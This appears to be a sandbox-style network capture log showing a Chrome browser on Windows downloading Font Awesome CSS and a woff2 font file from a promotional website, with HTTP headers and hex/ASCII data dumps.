2024-10-03 16:19:53 UTC	739	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:53 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60158 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UVC2pmmPbR%2F4hnzOxRS9d5huYfShVKnJ9kiEuNywdknmzbztu2%2B28Gk2xME1mCTH7V5W450rHqQRy9smT338ozVTib1Sf5CoST4Umb95yDVngPJGCiu2r%2FH3Mqk0NzJCmrobXnsHL5K4cCzi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41a0ba020cd9-EWR
2024-10-03 16:19:53 UTC	630	IN	Data Raw: 37 36 38 38 0d 0a 2e 66 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 3a 6e 6f 72 6d 61 6c 20 6e 6f 72 6d 61 6c 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 31 20 46 6f 6e 74 41 77 65 73 6f 6d 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 7d 2e 66 61 2d 6c 67 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 33 33 33 33 33 33 33 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 2e 37 35 65 6d 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 2d 31 35 25 7d 2e 66 61 2d Data Ascii: 7688.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-
2024-10-03 16:19:53 UTC	1369	IN	Data Raw: 35 65 6d 20 2e 31 35 65 6d 3b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 2e 30 38 65 6d 20 23 65 65 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 31 65 6d 7d 2e 66 61 2d 70 75 6c 6c 2d 6c 65 66 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 7b 66 6c 6f 61 74 3a 72 69 67 68 74 7d 2e 66 61 2e 66 61 2d 70 75 6c 6c 2d 6c 65 66 74 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 33 65 6d 7d 2e 66 61 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 33 65 6d 7d 2e 70 75 6c 6c 2d 72 69 67 68 74 7b 66 6c 6f 61 74 3a 72 69 67 68 74 7d 2e 70 75 6c 6c 2d 6c 65 66 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 66 61 2e 70 75 6c 6c 2d 6c 65 66 74 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 33 65 6d 7d 2e 66 Data Ascii: 5em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.f
2024-10-03 16:19:53 UTC	1369	IN	Data Raw: 29 22 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2d 31 2c 20 31 29 7d 2e 66 61 2d 66 6c 69 70 2d 76 65 72 74 69 63 61 6c 7b 2d 6d 73 2d 66 69 6c 74 65 72 3a 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 32 2c 20 6d 69 72 72 6f 72 3d 31 29 22 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2c 20 2d 31 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2c 20 2d 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 Data Ascii: )";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale
2024-10-03 16:19:53 UTC	1369	IN	Data Raw: 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 34 22 7d 2e 66 61 2d 68 6f 6d 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 35 22 7d 2e 66 61 2d 66 69 6c 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 36 22 7d 2e 66 61 2d 63 6c 6f 63 6b 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 37 22 7d 2e 66 61 2d 72 6f 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 38 22 7d 2e 66 61 2d 64 6f 77 6e 6c 6f 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 39 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 61 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c Data Ascii: :before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circl
2024-10-03 16:19:53 UTC	1369	IN	Data Raw: 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 62 22 7d 2e 66 61 2d 69 6e 64 65 6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 63 22 7d 2e 66 61 2d 76 69 64 65 6f 2d 63 61 6d 65 72 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 64 22 7d 2e 66 61 2d 70 68 6f 74 6f 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 69 6d 61 67 65 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 70 69 63 74 75 72 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 65 22 7d 2e 66 61 2d 70 65 6e 63 69 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 30 22 7d 2e 66 61 2d 6d 61 70 2d 6d 61 72 6b 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 31 22 7d 2e 66 61 2d 61 64 6a 75 73 74 3a 62 65 66 6f 72 65 7b Data Ascii: ore{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{
2024-10-03 16:19:53 UTC	1369	IN	Data Raw: 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 31 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 32 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 33 22 7d 2e 66 61 2d 6d 61 69 6c 2d 66 6f 72 77 61 72 64 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 68 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 34 22 7d 2e 66 61 2d 65 78 70 61 6e 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 35 22 7d 2e 66 61 2d 63 6f 6d 70 72 65 73 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 36 22 7d 2e 66 61 2d 70 6c 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 Data Ascii: ht:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f0
2024-10-03 16:19:53 UTC	1369	IN	Data Raw: 22 5c 66 30 38 36 22 7d 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 37 22 7d 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 38 22 7d 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 39 22 7d 2e 66 61 2d 68 65 61 72 74 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 61 22 7d 2e 66 61 2d 73 69 67 6e 2d 6f 75 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 62 22 7d 2e 66 61 2d 6c 69 6e 6b 65 64 69 6e 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 63 22 7d 2e 66 61 2d 74 68 75 6d 62 2d 74 61 63 6b 3a 62 Data Ascii: "\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:b
2024-10-03 16:19:53 UTC	1369	IN	Data Raw: 67 6c 6f 62 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 63 22 7d 2e 66 61 2d 77 72 65 6e 63 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 64 22 7d 2e 66 61 2d 74 61 73 6b 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 65 22 7d 2e 66 61 2d 66 69 6c 74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 62 30 22 7d 2e 66 61 2d 62 72 69 65 66 63 61 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 62 31 22 7d 2e 66 61 2d 61 72 72 6f 77 73 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 62 32 22 7d 2e 66 61 2d 67 72 6f 75 70 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 75 73 65 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 30 22 7d Data Ascii: globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}
2024-10-03 16:19:53 UTC	1369	IN	Data Raw: 2c 2e 66 61 2d 73 6f 72 74 2d 64 65 73 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 64 64 22 7d 2e 66 61 2d 73 6f 72 74 2d 75 70 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 61 73 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 64 65 22 7d 2e 66 61 2d 65 6e 76 65 6c 6f 70 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 30 22 7d 2e 66 61 2d 6c 69 6e 6b 65 64 69 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 31 22 7d 2e 66 61 2d 72 6f 74 61 74 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 75 6e 64 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 32 22 7d 2e 66 61 2d 6c 65 67 61 6c 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 67 61 76 65 6c 3a 62 65 66 6f 72 65 7b 63 Data Ascii: ,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{c
2024-10-03 16:19:53 UTC	1369	IN	Data Raw: 22 7d 2e 66 61 2d 61 6e 67 6c 65 2d 64 6f 75 62 6c 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 32 22 7d 2e 66 61 2d 61 6e 67 6c 65 2d 64 6f 75 62 6c 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 33 22 7d 2e 66 61 2d 61 6e 67 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 34 22 7d 2e 66 61 2d 61 6e 67 6c 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 35 22 7d 2e 66 61 2d 61 6e 67 6c 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 36 22 7d 2e 66 61 2d 61 6e 67 6c 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 37 22 7d 2e 66 61 2d 64 65 73 6b 74 6f 70 3a 62 65 Data Ascii: "}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:be

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.16	49855	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:53 UTC	782	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/fonts/fontawesome-webfont.woff2 HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.greatqualitydeals.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:54 UTC	658	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:53 GMT Content-Type: font/woff2 Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Vary: Accept-Encoding,User-Agent Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 5153 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jDEzwxJt1uqxVLjV2fgdCCknqgeGTJiqoGh7tItUfvwrD3OZiyc4D5Stu0LPtOAbI8p9FMoRTo1B2dOQ0YXoiIk%2B9pIzutmWmcrW7ENUdSpndl%2FJgfYIrC5aN01hWNxPI6DbeEu2dIthXB8K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41a58f1f42f4-EWR
2024-10-03 16:19:54 UTC	711	IN	Data Raw: 33 61 32 33 0d 0a 77 4f 46 32 00 01 00 00 00 01 2d 68 00 0d 00 00 00 02 86 98 00 01 2d 0e 00 04 01 cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 20 06 60 00 85 72 11 08 0a 89 99 28 87 b6 58 01 36 02 24 03 95 70 0b 96 10 00 04 20 05 89 06 07 b4 75 5b 52 09 72 47 61 f7 91 84 2a ba 0d 81 27 ed 3d eb 3a b5 1a 26 d3 cd 3d 72 b7 2a 0a 02 19 e5 1a f1 f6 5d 04 74 07 dc 45 aa 6e a3 b2 ff ff ff ff e4 a4 31 46 db 0e dc 40 e0 d5 f4 fb 7c ad 8a 14 08 66 93 6d 92 60 9b 24 d8 91 a1 40 64 5b 42 51 11 24 28 5b 55 3c 2b 28 ad b8 40 50 d0 35 1e e4 60 81 b0 0e da 3e f6 50 10 1a 3b e1 28 91 d1 31 b3 fd 6c db fe 68 d4 a8 a2 c2 29 9f dc 59 79 94 f2 4a 69 e9 eb 17 ad 85 ce 7c 25 db 81 b7 5e ac 14 47 82 a2 33 b8 12 6e 9e 95 e8 ba da 95 dc 0a Data Ascii: 3a23wOF2-h-?FFTM `r(X6$p u[RrGa'=:&=r]tEn1F@\|fm`$@d[BQ$([U<+(@P5`>P;(1lh)YyJi\|%^G3n
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 00 a1 2d 46 48 94 9c 09 89 23 24 7e 9b 5a 5f 84 b9 9d 10 12 b5 03 4e 35 56 55 38 46 c8 af 1c a2 8e 25 14 50 d4 fb dd ab da db fb 06 08 0c 86 43 70 08 02 24 04 51 19 a2 b4 bb da 10 9d 72 ac ec a2 ca bd 9b ee ba 6b bb 6b da 1b a7 33 d9 b7 13 d1 3a 52 11 25 1e 10 b6 81 32 7b f4 87 de a9 f5 92 1d 68 25 bb 29 38 c9 11 f6 00 f8 f1 01 0f 18 0a 49 4c 4b 90 36 76 f4 23 ed fb b3 ee fe 06 2c 3b d0 a6 36 87 a0 4e 9a 32 ce 68 76 b7 0f 0e 08 fe ef 7f cd fe eb 0c 4f 4f 91 a7 74 23 16 85 06 e2 78 54 89 ef aa 42 66 02 9d 9e 84 71 5e 16 23 9c ae 9f 96 3f 7b fe 35 62 8a 49 e2 e0 25 2d 57 5a 90 eb b9 62 a4 41 a3 13 0c 5e e4 31 cd d9 6e 35 19 f9 ae e9 8a d7 a6 4e 51 9d 59 27 fa e6 dd cd 12 96 04 fc 91 53 04 dc 18 1f a6 21 74 22 20 06 60 62 33 e9 f7 25 93 07 f4 ef 33 35 bb 02 Data Ascii: -FH#$~Z_N5VU8F%PCp$Qrkk3:R%2{h%)8ILK6v#,;6N2hvOOt#xTBfq^#?{5bI%-WZbA^1n5NQY'S!t" `b3%35
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 79 af 9e b9 23 8b 55 d5 c2 46 57 ee 08 75 bd 0d dc 09 17 69 2f f0 9c af 94 66 7e 80 34 dd f0 6c 83 eb 0e 58 53 f4 39 c3 84 1b f7 31 45 9d f0 bd 33 40 90 fd da 6b 13 88 dc 15 40 17 27 23 a3 bc b6 63 ac bd d9 6e ea a9 20 ba f1 15 ef 53 5f 3b ac 25 fb ee 49 8a d0 c1 2b bb f8 2e f3 4c 1a d8 43 02 78 b1 eb ee 1e 1e be fa ea 86 b1 77 09 da cd 56 db 82 80 81 ba a8 e1 a4 c0 c3 f9 45 78 66 7e 48 60 bd e9 30 1f bc 21 64 94 e8 40 51 7b 4f 68 31 89 17 17 b1 48 c1 b6 46 c3 ab d5 7a 73 1a 8d 37 f3 dd 89 b6 b3 c6 9c 74 0f 72 76 cc e8 a9 d2 6b 9d bb 86 68 65 53 33 b7 db 87 76 99 39 84 71 7c ab 4f 82 ef 97 4b 29 95 55 5c f2 96 41 d2 25 a3 b9 bb 02 c4 6f 1e 7b 6c 3c 86 db 4b b8 ff ba 9d cd 8e a2 a4 8e 69 b3 8f f1 48 eb 47 80 49 85 7a 9d 3d 36 9a 57 57 6f 30 eb d9 0b 7c 15 Data Ascii: y#UFWui/f~4lXS91E3@k@'#cn S_;%I+.LCxwVExf~H`0!d@Q{Oh1HFzs7trvkheS3v9q\|OK)U\A%o{l<KiHGIz=6WWo0\|
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 8b 25 ab 34 ad 8b 8e df a0 4f de 40 ef f3 4e e1 f9 08 a1 82 aa 22 5a b7 18 df 4f 44 7b 75 33 53 0f 8c c7 57 8b 4d b0 95 52 a7 ed 33 73 3c c3 f5 19 a7 91 d8 b3 0d a3 80 a6 f1 b0 5c 49 0e 30 8d ab 2e a0 c5 2d 32 dd ad ec cf e3 84 ad 3b af 09 ec 83 30 d5 0e b6 7d 4e ab 2f 62 f5 f6 1a 8e 4e 7b 84 49 99 b3 7c 62 5f 72 c4 65 f8 9d 5f 70 53 69 83 e3 ca 14 0f 3e 12 27 dc 77 ac 35 fc db fa 52 46 2c d1 87 88 25 1e 53 59 96 84 bb c6 57 68 a3 36 4c 5f 69 ec 83 a3 3d 9a 9b be 69 31 f1 33 fe 59 49 37 4e b8 43 70 8d 49 c9 f0 c4 94 be c3 12 28 0f a8 72 af be bd 30 ab dd 7b 6a 89 19 f7 ba 85 72 8b 4b bc 9e 99 e5 d0 a2 6f 29 6c d9 c4 f4 87 33 6e 61 bf 54 31 7f 5c a7 c3 49 19 45 28 e9 6d bd f7 b2 bd df 83 9b 93 c2 44 f4 6c fa ac 7f 65 b3 b3 c7 e6 24 c3 85 df 77 58 9e 88 cc Data Ascii: %4O@N"ZOD{u3SWMR3s<\I0.-2;0}N/bN{I\|b_re_pSi>'w5RF,%SYWh6L_i=i13YI7NCpI(r0{jrKo)l3naT1\IE(mDle$wX
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: 18 71 a8 76 de 7e 96 6b 5d 9b 47 c3 ce d5 54 44 bf 3f 53 a9 cb d9 d6 2f 1a c6 2d d4 d7 25 dd 92 89 94 d9 e8 37 0c 88 fe 77 a6 69 7c 43 16 cb 49 a1 c4 71 f1 77 63 a8 80 57 01 9b 14 78 0c 9a b1 20 cf 0c 2f 37 04 81 78 ac 82 48 4f 2f ae e5 b5 1d f0 6f 5d 91 9e 0f 94 47 5d 8a 79 8f df 83 eb fc 87 fb 23 85 87 1f 37 a9 8f 62 cd e3 24 93 74 c7 1c aa 52 db 24 20 06 be 98 e9 7f 5d e3 b4 61 37 1b cd 46 a3 d1 ae af b2 8f 2c 6e 21 72 cb df 49 7c 32 c0 10 bc e3 b8 38 ea 92 78 ff 36 e7 99 67 53 a6 68 b1 09 b2 93 52 5e 5e 93 44 2e f8 78 8a 4d d1 4d 53 3f e6 bc 9e 27 47 fa 23 fc 7e e1 2b 9d ac ba c4 ec 08 76 34 8a 64 21 46 79 54 dc 39 f1 2d b2 66 56 61 37 68 fb 42 ae cb 17 34 fe ab 9f 96 e8 17 2c a9 32 bc c6 89 c4 fd 15 26 76 54 48 4d 71 70 f0 34 14 3f 02 52 5c b4 bd b2 Data Ascii: qv~k]GTD?S/-%7wi\|CIqwcWx /7xHO/o]G]y#7b$tR$ ]a7F,n!rI\|28x6gShR^^D.xMMS?'G#~+v4d!FyT9-fVa7hB4,2&vTHMqp4?R\
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: da 6a bd b8 9c 06 95 4a 4b c2 88 68 c1 58 c5 ac 42 ec 7d ea 11 a6 36 08 f9 c3 a2 ff b5 60 3f b5 69 10 91 2a bc 5b 39 65 2b 62 d1 56 4c ef 61 4c cd 99 13 b3 a6 9f e9 64 0c 02 42 59 70 2e b3 cf 88 0a c6 6e 5c 34 ec e7 b3 85 c6 a4 8a dc 1e 8d 64 ec 11 3c 77 a0 df 57 22 06 05 cf d3 3f 20 9f 27 b9 4f 25 12 8f 61 01 32 19 4e ff 39 1f 8b ad 2c b9 df 9f a1 b6 0f ea 21 9b c5 e2 7f 2e d3 79 7f 97 5a f9 af 25 f2 34 f6 55 c4 f5 5e fa cb 75 a0 cf 86 e2 67 a0 29 02 4d 25 96 00 e7 43 f5 ce 1a 56 e9 a9 07 9a 9e ca 4d 21 7a d4 26 90 9d bc ed d9 7c 16 44 c2 2c a6 69 f5 7e 52 2c 25 b1 fa 7c 4f 22 be fb d9 0c e4 cf 1d 68 5c 33 2b 7f a3 f2 fc 61 ab bd 1a 9c e2 e7 04 80 83 9e 05 88 d0 69 38 93 82 1e 5c 14 24 03 21 31 99 4c 8a e5 61 36 73 b6 0d 7a 12 2b 4d c2 52 ad 62 e7 d2 17 Data Ascii: jJKhXB}6`?i*[9e+bVLaLdBYp.n\4d<wW"? 'O%a2N9,!.yZ%4U^ug)M%CVM!z&\|D,i~R,%\|O"h\3+ai8\$!1La6sz+MRb
2024-10-03 16:19:54 UTC	1369	IN	Data Raw: f5 f1 70 1c 4d 52 ae 59 de 62 f4 e6 a5 7b ef 2b bb 4f fd 65 db 9b 32 f6 f2 d7 67 05 a7 a9 d3 75 ae e7 f7 56 3d fa 55 3e 2d c5 01 6b 62 36 55 9f 12 92 92 d0 a9 70 5a e2 4d bd d0 4f a8 60 ff b2 dc 24 57 e8 44 c1 79 1b 8e 11 b9 f1 41 df bb a3 5b c0 34 05 8d fc 61 91 fc 4a 7f 3f ae 66 44 3f 3d 97 ef 91 89 64 b0 af 28 4b 44 e4 b4 b1 3a e2 9c 44 1e 93 2f 5b e5 23 a2 7f f5 24 41 0c c5 fb 23 4b 48 2e 11 3a 95 9e 78 3f 25 e6 db 56 f4 72 b7 15 40 01 5b 42 24 cc 7d 9e 63 f1 6f 18 e1 93 db 53 36 60 4c 50 66 4d 26 c9 94 80 9b 41 3c 3a 8a 07 ae 76 90 9e c3 9a 0a 51 d2 7e 50 df 1b 10 77 a1 92 ef 5b eb ed 2b 08 f7 9e 14 ad 91 86 8f fb 01 60 2b 6a a3 20 56 df c7 2b 8f 9e 52 2a e3 01 b6 b5 75 a3 6c 7f 21 14 0e a3 fe ea 7c fe 2b 27 af 4b 59 fe 36 9b 36 b6 cd 5f 06 eb 96 75 Data Ascii: pMRYb{+Oe2guV=U>-kb6UpZMO`$WDyA[4aJ?fD?=d(KD:D/[#$A#KH.:x?%Vr@[B$}coS6`LPfM&A<:vQ~Pw[+`+j V+R*ul!\|+'KY66_u
